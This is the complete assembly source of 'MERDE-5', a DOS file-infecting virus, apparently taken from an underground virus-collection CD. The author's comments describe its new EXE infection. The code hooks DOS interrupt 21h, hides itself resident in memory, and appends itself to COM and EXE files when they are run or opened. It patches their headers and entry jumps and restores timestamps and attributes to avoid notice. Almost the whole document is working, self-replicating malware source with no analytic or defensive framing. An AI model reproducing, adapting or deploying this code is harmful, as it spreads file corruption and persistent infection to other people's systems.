Underground/Underground CD1.iso/virii/zrodla/m/merde-5.asm

Assembly Source File | 1998-01-14 | 12.0 KB | 613 lines

; Okay, here is my newest version..  It now
; offers EXE infection.  I messed up command.com
; compatibility so this version won't infect it.
; Also, this version might be a little shakey,
; but it should work okay with most setups
; (I'm not professional yet, so screw 'em
; if this hangs!)..
; This will be the last time I release code for
; my virii.  Thanks to firststrike, and anyone else
; who has given me tips.....
;  Be careful not to get this, it is kinda hard to get rid
;  of (it would be REALLY hard to get rid of if it infected
;command.com- I will have to fix that (along with the TERRIBLE
; inefficiency in my interrupt handler (the loader is OKAY, but
; My_21 is just kind of a jumble of code thrown together for now.
; If you want to vaccinate your system, and you know a little about
; assembler, it isn't that hard. (I gave the come version to
; myself about 3 times).  Just take notice of my use of interrupt
; 71...(This will be changed in future versions, for obvious reasons).
;    MERDE-5 The merde virus version 5.0-            loki


compare_val    equ    850
interrupt    equ    21h
Code_seg    Segment Byte
    Assume DS:Code_seg, CS:Code_seg
    ORG 100h

start:    call    get_ip

exe_or_com:
    dw    'CO'
get_ip:
    pop    di
    sub    di,3
    cmp    word ptr cs:[di+3],'EX'
    jne    com_memory_loader
    jmp    exe_memory_loader

;Load memory from within an EXE file..
;------------------------------------------------------------------------------
exe_memory_loader:
    call    check_for_int_71
    jc    go
    call    get_memory    ;es=my_segment
    jnc    aaaa
    jmp    exit_exe
aaaa:
    call    hide_memory
    call    set_int_71
    call    save_21
    push    ds
    call    move_all_code
    pop    ds
    mov    bx,es
    call    set_21
go:    jmp    exit_exe

;------------------------------------------------------------------------------
;******************************************************************************
;------------------------------------------------------------------------------
;load memory from a COM file...

com_memory_loader:
    call    restore_com
    call    check_for_int_71
    jc    go_1
    call    get_memory
    jnc    bbbb
    jmp    exit_com

bbbb:    call    hide_memory

reset_di:
    call    set_int_71
    call    save_21
    call    move_all_code
    mov    bx,es
    call    set_21
go_1:    jmp    exit_com

;------------------------------------------------------------------------------
;Returns ES with my segment (or an error)
;------------------------------------------------------------------------------
get_memory:
    int    12h
    mov    bx,cs
    mov    cx,1024
    mul    cx
    clc
    mov    cx,600h            ;Amount of needed memory
    sub    ax,cx
    sbb    dx,0000            ;dx:ax=where we want this mem to end!
    mov    bx,dx
    mov    bp,ax            ;save this...
    mov    cx,cs
    mov    ax,0010h
    mul    cx
    clc
    mov    cx,di
    add    cx,offset ending-100h
    add    ax,cx
    adc    dx,0000
    clc
    sub    bp,ax
    sbb    bx,dx
    clc
    mov    ax,bp
    mov    dx,bx
    mov    cx,0010h
    div    cx        ;dx:ax=memory above this-divide it by 16
    mov    bx,ax
    mov    ah,4ah
    int    21h
    jc    get_memory_error
    mov    bx,60
    mov    ah,48h
    int    21h
    jc    get_memory_error
    mov    es,ax
    clc
    ret
get_memory_error:
    stc
    ret
;------------------------------------------------------------------------------
;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
;------------------------------------------------------------------------------
move_all_code:
;move PSP**************************
    push    di
    xor    si,si
    xor    di,di
    mov    cx,100h
    rep    movsb
;**********************************
;move my code**********************
    pop    si
    push    si
    push    cs
    pop    ds
    mov    cx,offset ending-100h
    rep    movsb
    pop    di
    ret
;**********************************
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
;saves interrupt 21 in cs:[int_21_saveo]
save_21:
    push    es
    xor    ax,ax
    mov    es,ax
    mov    ax,es:[interrupt*4]
    mov    bx,es:[interrupt*4+2]
    mov    cs:[di+offset int_21_saveo-100h],ax
    mov    cs:[di+offset int_21_saves-100h],bx
    pop    es
    ret

;-----------------------------------------------------------------------------
;sets interrupt 21 to bx:offset of my_21
set_21:
    push    es
    xor    ax,ax
    mov    es,ax
    mov    es:[interrupt*4],offset my_21
    mov    es:[interrupt*4+2],bx
    pop    es
    ret
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;Restores a COM file
restore_com:
    push    di
    mov    si,di
    add    si,offset three_bytes-100h
    mov    di,0100h
    mov    cx,3
    rep    movsb
    pop    di
    ret
;------------------------------------------------------------------------------
;Hides my segment's (es) size and owner
hide_memory:
    push    ds
    xor    cx,cx
    mov    ds,cx
    mov    cx,ds:[2eh*4+2]
    pop    ds
    push    ds
    mov    dx,es
    dec    dx
    mov    ds,dx
    mov    ds:[1],cx            ;maybe later set to DOS seg
    mov    byte ptr ds:[0],'Z'
    mov    word ptr ds:[3],0000
    mov    es:[16h],cx
    mov    es:[0ah],cx
    mov    es:[0ch],cx
    pop    ds
    ret
;------------------------------------------------------------------------------

;check_for_int 71-  My little multiplex interrupt
check_for_int_71:
    int    71h
    cmp    ax,9999h
    je    set_c
    clc
    ret
set_c:
    stc
    ret
;------------------------------------------------------------------------------

;Set interrupt 71:
set_int_71:
    push    ds
    xor    ax,ax
    mov    ds,ax
    mov    ds:[71h*4+2],es
    mov    ds:[71h*4],offset my_71
    pop    ds
    ret


exit_com:
    xor    cx,cx
    xor    dx,dx
    xor    ax,ax
    xor    bx,bx
    xor    si,si
    xor    di,di
    mov    ax,100h
    jmp    ax

exit_exe:
    push    ds
    pop    es
    mov    ax,es
    add    ax,10h
    add    word ptr cs:[di+offset orig_cs-100h],ax
    cli
    add    ax,word ptr cs:[di+offset orig_ss-100h]
    mov    ss,ax
    mov    sp,word ptr cs:[di+offset orig_sp-100h]
    sti
    jmp    dword ptr cs:[di+offset orig_ip-100h]

;------------------------------------------------------------------
my_21:
    cmp    ah,4bh
    je    okay_go
    cmp    ah,0fh
    je    okay_go
    cmp    ah,3dh
    je    okay_go
    cmp    ah,43h
    je    okay_go
    jmp    continue_21
okay_go:
    push    ax
    push    bx
    push    cx
    push    dx
    push    es
    push    di
    push    si
    push    bp
    push    es
    push    ds
check_for_com:
    xor    si,si
    mov    bx,dx
looper:
    cmp    word ptr ds:[bx+si],'c.'
    je    check_om
    cmp    word ptr ds:[bx+si],'C.'
    je    check_om
    cmp    word ptr ds:[bx+si],'e.'
    je    check_ex
    cmp    word ptr ds:[bx+si],'E.'
    je    check_ex
    inc    si
    cmp    si,40
    jne    looper
    jmp    give_up1
check_om:
    cmp    word ptr ds:[bx+si+2],'mo'
    jne    bb
    mov    cs:[com_or_exe],0
    jmp    check_for_infection
bb:    cmp    word ptr ds:[bx+si+2],'MO'
    jne    cc
    mov    cs:[com_or_exe],0
    jmp    check_for_infection
cc:    jmp    give_up1
check_ex:
    cmp    word ptr ds:[bx+si+2],'ex'
    jne    label1
    mov    cs:[com_or_exe],1234h
    jmp    okay_do
label1:
    cmp    word ptr ds:[bx+si+2],'EX'        ;FIX ME!!!!!!!
    je    cccc                ;forget exe for now..
    jmp    give_up1
cccc:
    mov    cs:[com_or_exe],1234h
    jmp    okay_do
check_for_infection:
    cmp    word ptr [bx+si-2],'DN'
    jne    okey_k
    jmp    give_up1
okey_k:
    cmp    word ptr [bx+si-2],'DN'
    jne    okay_do
    jmp    give_up1
okay_do:
    mov    cs:[storage_1],ds
    mov    cs:[storage_2],dx
    mov    ah,50h        ;set PSP to ours
    push    cs
    pop    bx
    call    dos_21
    mov    ah,43h
    xor    al,al
    call    dos_21
    jnc    okay9
    jmp    give_up
okay9:    mov    cs:[attrib],cx
    mov    ah,43h
    mov    al,1
    xor    cx,cx
    call    dos_21
    mov    ah,3dh
    mov    al,2
    call    dos_21
    jnc    okay10
    jmp    give_up
okay10:    mov    cs:[handle],ax
    mov    bx,ax
    mov    ah,57h
    xor    al,al
    call    dos_21
    mov    cs:[date],dx
    mov    cs:[time],cx
    mov    ax,4202h
    xor    dx,dx
    xor    cx,cx
    call    dos_21
    jnc    okay11
    jmp    give_up
okay11:    mov    cs:[file_size],ax
    cmp    cs:[com_or_exe],1234h
    jne    okey_p
    sub    ax,compare_val
    sbb    dx,0000
    mov    cx,dx
    mov    dx,ax
    jmp    contin2
okey_p:    xor    cx,cx
    cmp    ax,63000
    jb    contin1
    call    reset_all
    jmp    give_up
contin1:
    cmp    ax,600
    jnb    continx
    call    reset_all
    jmp    give_up
continx:
    sub    ax,compare_val
    mov    dx,ax
    xor    cx,cx
contin2:
    mov    ax,4200h
    mov    bx,cs:[handle]
    call    dos_21
    mov    ah,3fh
    push    cs
    pop    ds
    mov    dx,offset buffer
    mov    cx,2
    call    dos_21
    mov    ax,word ptr cs:[buffer]
    mov    bx,word ptr cs:[offset dont_write-compare_val]
    cmp    ax,bx
    jne    dddd
    jmp    give_up
dddd:
    cmp    cs:[com_or_exe],1234h
    je    infect_exe
    jmp    infect_com

infect_exe:
    mov    bx,cs:[handle]
    xor    dx,dx
    xor    cx,cx
    mov    ax,4200h
    call    dos_21
    push    cs
    pop    ds
    mov    ah,3fh
    mov    cx,18h
    mov    dx,offset header
    call    dos_21
    cmp    word ptr [header+8],1000h
    jb    okayh
    call    reset_all
    jmp    give_up
okayh:    mov    ax,word ptr [header+16h]
    mov    orig_cs,ax
    mov    ax,word ptr [header+14h]
    mov    orig_ip,ax
    mov    ax,word ptr [header+0eh]
    mov    orig_ss,ax
    mov    ax,word ptr [header+10h]
    mov    orig_sp,ax
    mov    ax,4202h
    mov    bx,handle
    xor    cx,cx
    xor    dx,dx
    call    dos_21
    mov    word ptr ds:[exe_or_com],'EX'
    mov    high_size,dx
    mov    low_size,ax
    mov    real_hsize,dx
    mov    real_lsize,ax
    mov    ax,word ptr [header+8]
    mov    cx,10h
    mul    cx
    clc
    sub    low_size,ax        ;high_size:low_size=load size
    sbb    high_size,dx
    clc
    mov    dx,high_size
    mov    ax,low_size
    mov    cx,0010h
    div    cx
    cmp    dx,0
    je    okay
    mov    cx,16
    sub    cx,dx
    mov    bp,cx
    add    real_lsize,bp
    adc    real_hsize,0000
    clc
    stc
    adc    ax,0000
    jmp    okay1
okay:    xor    bp,bp
okay1:    xor    dx,dx
    mov    word ptr [header+16h],ax
    ;add to dx?
    mov    word ptr [header+14h],dx
    mov    word ptr [header+0eh],ax
    mov    dx,0fffeh
    mov    word ptr [header+10h],dx
    mov    dx,real_hsize
    mov    ax,real_lsize
    add    ax,offset ending-100h+1
    adc    dx,0000
    push    ax
    mov    cl,9
    shr    ax,cl
    ror    dx,cl
    stc
    adc    dx,ax
    pop    ax
    and    ah,1
    mov    word ptr [header+4],dx
    mov    word ptr [header+2],ax
    mov    ah,40h
    mov    bx,handle
    mov    cx,offset dont_write-100h
    add    cx,bp
    mov    dx,100h
    sub    dx,bp
    call    dos_21
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx
    mov    bx,handle
    call    dos_21
    mov    ah,40h
    mov    bx,handle
    mov    cx,18h
    mov    dx,offset header
    call    dos_21
    call    reset_all
    jmp    give_up

infect_com:
    xor    cx,cx
    xor    dx,dx
    mov    bx,cs:[handle]
    mov    ax,4200h
    call    dos_21
    mov    ah,3fh
    mov    cx,3
    push    cs
    pop    ds
    mov    dx,offset three_bytes
    call    dos_21
    mov    ax,cs:[file_size]
    sub    ax,3
    mov    word ptr cs:[jumper+1],ax
    mov    word ptr cs:[exe_or_com],'CO'
    call    write_to_end
    xor    cx,cx
    xor    dx,dx
    mov    ax,4200h
    mov    bx,cs:[handle]
    call    dos_21
    mov    dx,offset jumper
    mov    ah,40h
    mov    cx,3
    call    dos_21
    call    reset_all
give_up:
    mov    ah,50h
    mov    bx,cs:[storage_1]
    call    dos_21
give_up1:
    pop    ds
    pop    es
    pop    bp
    pop    si
    pop    di
    pop    es
    pop    dx
    pop    cx
    pop    bx
    pop    ax
    jmp    continue_21
continue_21:
    jmp    dword ptr cs:[int_21_saveo]
dos_21:
    pushf
    call    dword ptr cs:[int_21_saveo]
    ret

reset_all:
    mov    bx,cs:[handle]
    mov    cx,cs:[time]
    mov    dx,cs:[date]
    mov    ax,5701h
    call    dos_21
    mov    ah,3eh
    mov    bx,cs:[handle]
    call    dos_21
    mov    ah,43h
    mov    al,1
    mov    cx,cs:[attrib]
    mov    ds,cs:[storage_1]
    mov    dx,cs:[storage_2]
    call    dos_21
    ret

write_to_end:

    mov    ax,4202h
    xor    dx,dx
    xor    cx,cx
    mov    bx,cs:[handle]
    call    dos_21
    mov    ah,40h
    mov    cx,offset dont_write-100h
    push    cs
    pop    ds
    mov    dx,0100h
    call    dos_21
    ret
my_71:
    mov    ax,9999h
    iret


jumper:
    db    0e9h,00,00
storage_1    dw    0000
storage_2    dw    0000
int_21_saveo    dw    0000
int_21_saves    dw    0000
three_bytes:    db    0cdh,20h,90h
db    'Loki'
orig_ip        dw    0000
orig_cs        dw    0000
orig_ss        dw    0000
orig_sp        dw    0000
dont_write:

header:
        db 24 dup(00)
com_or_exe    dw    1234h
handle        dw    0000
file_size    dw    0000
attrib        dw    0000
date        dw    0000
time        dw    0000
buffer:        dw    0000
loader_high    dw    0000
loader_low    dw    0000
header_cs    dw    0000
header_ip    dw    0000
low_size    dw    0000
high_size    dw    0000
real_hsize    dw    0000
real_lsize    dw    0000
ending:
Code_seg     ENDS
END    start